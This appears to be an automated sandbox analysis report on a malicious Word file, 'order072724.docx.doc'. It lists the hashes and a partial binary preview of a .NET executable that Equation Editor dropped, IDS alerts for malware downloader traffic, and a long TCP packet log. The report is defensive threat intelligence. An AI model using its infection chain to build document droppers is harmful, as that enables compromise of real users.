SHA-256:	490784A930FE7D630C926436C540441694C905A9CB1FE6B3C25D16C366D75492
SHA-512:	E51B95996A95C7FC9AE4206A76642D8C4B59062BB49BC54931BDC1FDA8A080F5F29451E71A3F63F2C3530D8D71B56F9E00482D38A6C645492932986523576F01
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...x..f..............0............VI... ...`....@.. ....................................@..................................I..O....`...............6...6.........../..T............................................ ............... ..H............text...\)... ..................... ..`.rsrc........`.......,..............@..@.reloc...............4..............@..B................6I......H........B..D>.........................................................^..}.....(.......(......0../........(...........s....o...........s.... ....o.......0............r...po......,..(...+...+....,....o.....+S.o............+7............(........( ..........,.........&........X.......i2...+........C.#f........{...."..}........0..G.........(!.....,$........s".........%...P....(#...&+....-..+..($.....(%.......0..+.........,..{.......+....,...{....o&.......('....*..0......

C:\Users\user\AppData\Roaming\swagodi78811.scr

Download File

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	683016
Entropy (8bit):	7.9744561964387195
Encrypted:	false
SSDEEP:	12288:HsTnHaxBnGvHnutIognoP+wRYnS0qYVd1XXikKRj9l/klFck1zJstnkR:WaznWHfYFYnK8PXikKRnCc2dN
MD5:	C448536AEEA36B80A15D639E31C7B847
SHA1:	5225387E8D149E14A73F3D25A055B069750AEFCC
SHA-256:	490784A930FE7D630C926436C540441694C905A9CB1FE6B3C25D16C366D75492
SHA-512:	E51B95996A95C7FC9AE4206A76642D8C4B59062BB49BC54931BDC1FDA8A080F5F29451E71A3F63F2C3530D8D71B56F9E00482D38A6C645492932986523576F01
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...x..f..............0............VI... ...`....@.. ....................................@..................................I..O....`...............6...6.........../..T............................................ ............... ..H............text...\)... ..................... ..`.rsrc........`.......,..............@..@.reloc...............4..............@..B................6I......H........B..D>.........................................................^..}.....(.......(......0../........(...........s....o...........s.... ....o.......0............r...po......,..(...+...+....,....o.....+S.o............+7............(........( ..........,.........&........X.......i2...+........C.#f........{...."..}........0..G.........(!.....,$........s".........%...P....(#...&+....-..+..($.....(%.......0..+.........,..{.......+....,...{....o&.......('....*..0......

C:\Users\user\Desktop\~$der072724.docx.doc

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.4797606462020307
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyHlqlzl0pbklMWjV4lc+/dllln:vdsCkWtWYlz21kF2JV/l
MD5:	2CF7D3B8DED3F1D5CE1AC92F3E51D4ED
SHA1:	95E13378EA9CACA068B2687F01E9EF13F56627C2
SHA-256:	60DF94CDE4FD9B4A73BB13775079D75CE954B75DED5A2878277FA64AD767CAB1
SHA-512:	2D5797FBBE44766D93A5DE3D92911358C70D8BE60D5DF542ECEDB77D1195DC1EEF85E4CA1445595BE81550335A20AB3F11B512385FE20F75B1E269D6AB048E0A
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

Static File Info

General

File type:	Microsoft Word 2007+
Entropy (8bit):	7.991473021388467
TrID:	Word Microsoft Office Open XML Format document (49504/1) 58.23% Word Microsoft Office Open XML Format document (27504/1) 32.35% ZIP compressed archive (8000/1) 9.41%
File name:	order072724.docx.doc
File size:	96'005 bytes
MD5:	d89c00ac44e63c962db8c02cbf0bab93
SHA1:	2ac1b269e93b1a0c0068b68d8d1d4f9e4a5cc06a
SHA256:	5dc96311ffca3ae13e805020a61d276e2a2b1032e2ecc87a05f86c346e90d47c
SHA512:	088c3b2a514fb1e5c504b29eb86302b8e8787e26dc6f6b0ea13ad6916676f16dc2650aa9b2a571c48fe6628311bd25f4a509830fd718b6444dac82308402739c
SSDEEP:	1536:LMzw/hgP0QF6smQKEMzqsQtrm5rbXkvMtLQ6j7jfmMIGSzyn5ivkSVkkKLkJem5Y:o0Q8hjOXIrbXyMtE6j/EfvkS8LrQY
TLSH:	0793021159D92BEEC75E2875F1A1EF6DB2D68E9314731A08B070DE8E53348B3E712E18
File Content Preview:	PK...........X...7U... .......[Content_Types].xmlUT...8..f8..f8..f...n.0.E...............e.T.....U..<...;!.U.%U.M.d..sgby0ZW.[BB.\|!.yOd.u0....>y....Iy.\.P.........M..X...s.x/%.9T....s...R..i&...j......:x.O].=.p...Z8.....I........U....Z...........r..s....B

File Icon


Icon Hash:	2764a3aaaeb7bdbf

Static OLE Info

General

Document Type:	OpenXML
Number of OLE Files:	1

OLE File "order072724.docx.doc"

Indicators

Has Summary Info:
Application Name:
Encrypted Document:	False
Contains Word Document Stream:	True
Contains Workbook/Book Stream:	False
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	False

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-26T23:45:45.269177+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	49187	80	192.168.2.22	158.101.44.242
2024-07-26T23:45:46.595188+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	49191	80	192.168.2.22	132.226.247.73
2024-07-26T23:45:47.482045+0200	TCP	2803305	ETPRO MALWARE Common Downloader Header Pattern H	49193	443	192.168.2.22	188.114.97.3
2024-07-26T23:45:43.939318+0200	TCP	2803305	ETPRO MALWARE Common Downloader Header Pattern H	49186	443	192.168.2.22	188.114.96.3
2024-07-26T23:45:45.672752+0200	TCP	2803305	ETPRO MALWARE Common Downloader Header Pattern H	49189	443	192.168.2.22	188.114.96.3
2024-07-26T23:45:47.219644+0200	TCP	2803305	ETPRO MALWARE Common Downloader Header Pattern H	49192	443	192.168.2.22	188.114.96.3
2024-07-26T23:45:34.439640+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	49171	80	192.168.2.22	132.226.247.73
2024-07-26T23:45:38.046315+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	49176	80	192.168.2.22	158.101.44.242
2024-07-26T23:45:35.862446+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	49174	80	192.168.2.22	193.122.130.0
2024-07-26T23:45:30.886952+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	49171	80	192.168.2.22	132.226.247.73
2024-07-26T23:45:39.432931+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	49177	80	192.168.2.22	193.122.6.168
2024-07-26T23:45:39.278729+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	49176	80	192.168.2.22	158.101.44.242
2024-07-26T23:45:42.289531+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	49182	80	192.168.2.22	193.122.6.168
2024-07-26T23:45:41.727950+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	49180	80	192.168.2.22	193.122.6.168
2024-07-26T23:45:34.870932+0200	TCP	2803305	ETPRO MALWARE Common Downloader Header Pattern H	49173	443	192.168.2.22	188.114.97.3
2024-07-26T23:45:40.927537+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	49177	80	192.168.2.22	193.122.6.168
2024-07-26T23:45:21.214935+0200	TCP	2022053	ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2	443	49168	104.21.52.88	192.168.2.22
2024-07-26T23:45:39.742773+0200	TCP	2803305	ETPRO MALWARE Common Downloader Header Pattern H	49179	443	192.168.2.22	188.114.97.3

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 26, 2024 23:45:04.833880901 CEST	49161	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:04.833937883 CEST	443	49161	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:04.834134102 CEST	49161	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:04.840497017 CEST	49161	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:04.840538025 CEST	443	49161	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:05.458642960 CEST	443	49161	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:05.458901882 CEST	49161	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:05.463234901 CEST	49161	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:05.463263988 CEST	443	49161	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:05.463756084 CEST	443	49161	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:05.463932037 CEST	49161	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:05.577099085 CEST	49161	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:05.620518923 CEST	443	49161	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:05.897768021 CEST	443	49161	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:05.897861004 CEST	443	49161	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:05.897881031 CEST	49161	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:05.897914886 CEST	49161	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:06.018945932 CEST	49161	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:06.019022942 CEST	443	49161	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:06.019069910 CEST	49161	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:06.019103050 CEST	49161	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:07.840969086 CEST	49162	443	192.168.2.22	172.67.197.72
Jul 26, 2024 23:45:07.841053963 CEST	443	49162	172.67.197.72	192.168.2.22
Jul 26, 2024 23:45:07.841123104 CEST	49162	443	192.168.2.22	172.67.197.72
Jul 26, 2024 23:45:07.841515064 CEST	49162	443	192.168.2.22	172.67.197.72
Jul 26, 2024 23:45:07.841548920 CEST	443	49162	172.67.197.72	192.168.2.22
Jul 26, 2024 23:45:08.380315065 CEST	443	49162	172.67.197.72	192.168.2.22
Jul 26, 2024 23:45:08.380446911 CEST	49162	443	192.168.2.22	172.67.197.72
Jul 26, 2024 23:45:08.383887053 CEST	49162	443	192.168.2.22	172.67.197.72
Jul 26, 2024 23:45:08.383905888 CEST	443	49162	172.67.197.72	192.168.2.22
Jul 26, 2024 23:45:08.384300947 CEST	443	49162	172.67.197.72	192.168.2.22
Jul 26, 2024 23:45:08.389046907 CEST	49162	443	192.168.2.22	172.67.197.72
Jul 26, 2024 23:45:08.432534933 CEST	443	49162	172.67.197.72	192.168.2.22
Jul 26, 2024 23:45:08.531960011 CEST	443	49162	172.67.197.72	192.168.2.22
Jul 26, 2024 23:45:08.532105923 CEST	443	49162	172.67.197.72	192.168.2.22
Jul 26, 2024 23:45:08.532202959 CEST	49162	443	192.168.2.22	172.67.197.72
Jul 26, 2024 23:45:08.532725096 CEST	49162	443	192.168.2.22	172.67.197.72
Jul 26, 2024 23:45:08.532757998 CEST	443	49162	172.67.197.72	192.168.2.22
Jul 26, 2024 23:45:12.182454109 CEST	49163	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:12.182514906 CEST	443	49163	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:12.182586908 CEST	49163	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:12.183758020 CEST	49163	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:12.183774948 CEST	443	49163	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:12.658883095 CEST	443	49163	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:12.658976078 CEST	49163	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:12.669989109 CEST	49163	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:12.670017004 CEST	443	49163	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:12.670574903 CEST	443	49163	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:12.811049938 CEST	49163	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:12.856540918 CEST	443	49163	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:13.138484001 CEST	443	49163	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:13.138633966 CEST	443	49163	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:13.138763905 CEST	49163	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:13.143654108 CEST	49163	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:13.143704891 CEST	443	49163	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:13.143733025 CEST	49163	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:13.143754005 CEST	443	49163	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:13.143798113 CEST	49163	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:13.143807888 CEST	443	49163	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:13.458796024 CEST	49164	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:13.458879948 CEST	443	49164	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:13.458976030 CEST	49164	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:13.459198952 CEST	49164	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:13.459223986 CEST	443	49164	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:13.943706989 CEST	443	49164	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:13.943788052 CEST	49164	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:13.949779034 CEST	49164	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:13.949805021 CEST	443	49164	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:13.950213909 CEST	443	49164	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:13.952347994 CEST	49164	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:13.996504068 CEST	443	49164	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:14.292937040 CEST	443	49164	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:14.293174982 CEST	443	49164	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:14.293307066 CEST	49164	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:14.300203085 CEST	49164	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:14.300226927 CEST	443	49164	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:14.847436905 CEST	49165	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:14.847533941 CEST	443	49165	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:14.847609043 CEST	49165	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:14.848045111 CEST	49165	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:14.848079920 CEST	443	49165	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:15.342411041 CEST	443	49165	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:15.342521906 CEST	49165	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:15.347881079 CEST	49165	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:15.347912073 CEST	443	49165	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:15.348306894 CEST	443	49165	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:15.350869894 CEST	49165	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:15.392518044 CEST	443	49165	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:15.687767029 CEST	443	49165	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:15.687884092 CEST	443	49165	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:15.687978029 CEST	49165	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:15.688074112 CEST	49165	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:15.688114882 CEST	443	49165	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.077374935 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.077483892 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.077558994 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.077809095 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.077838898 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.584682941 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.584902048 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.587244034 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.587253094 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.589154959 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.589158058 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.741579056 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.741703033 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.741763115 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.741825104 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.741842031 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.741888046 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.741919994 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.741977930 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.742034912 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.742090940 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.742141962 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.742201090 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.742250919 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.742310047 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.742364883 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.742422104 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.742475033 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.742535114 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.742582083 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.742640018 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.742698908 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.742757082 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.742841959 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.742901087 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.746870995 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.746938944 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.746979952 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.747037888 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.790621996 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.835825920 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.836020947 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.836061954 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.836091042 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.836121082 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.836157084 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.836210966 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.836266041 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.836332083 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.836383104 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.836441994 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.836493015 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.836570024 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.836653948 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.836864948 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.836968899 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.836996078 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.837052107 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.837065935 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.837121964 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.837172031 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.837270021 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.837285042 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.837342978 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.837393999 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.837450027 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.837630987 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.837687016 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.837737083 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.837793112 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.837842941 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.837899923 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.837949991 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.838006020 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.838051081 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.838108063 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.838526011 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.838579893 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.838629007 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.838704109 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.838748932 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.838804007 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.838849068 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.838907957 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.839412928 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.839474916 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.839488029 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.839540958 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.839549065 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.839559078 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.839597940 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.839610100 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.839662075 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.840709925 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.840806961 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.930639982 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.930830002 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.930917025 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.930917025 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.930954933 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.930984974 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.931022882 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.931022882 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.931132078 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.931194067 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.931282997 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.931351900 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.931433916 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.931499958 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.931587934 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.931654930 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.931747913 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.931814909 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.931919098 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.931979895 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.932071924 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.932133913 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.932243109 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.932300091 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.932820082 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.932898998 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.932975054 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.933033943 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.933274984 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.933348894 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.933661938 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.933720112 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:16.933814049 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:16.933866024 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:17.027832031 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:17.028034925 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:17.028100014 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:17.028100014 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:17.028167009 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:17.028228998 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:17.028229952 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:17.028256893 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:17.028289080 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:17.028314114 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:17.028404951 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:17.028465986 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:17.028575897 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:17.028637886 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:17.028726101 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:17.028781891 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:17.028867006 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:17.028927088 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:17.029022932 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:17.029077053 CEST	49166	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:17.029167891 CEST	443	49166	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:17.029222965 CEST	49166	443	192.168.2.22	104.21.52.88
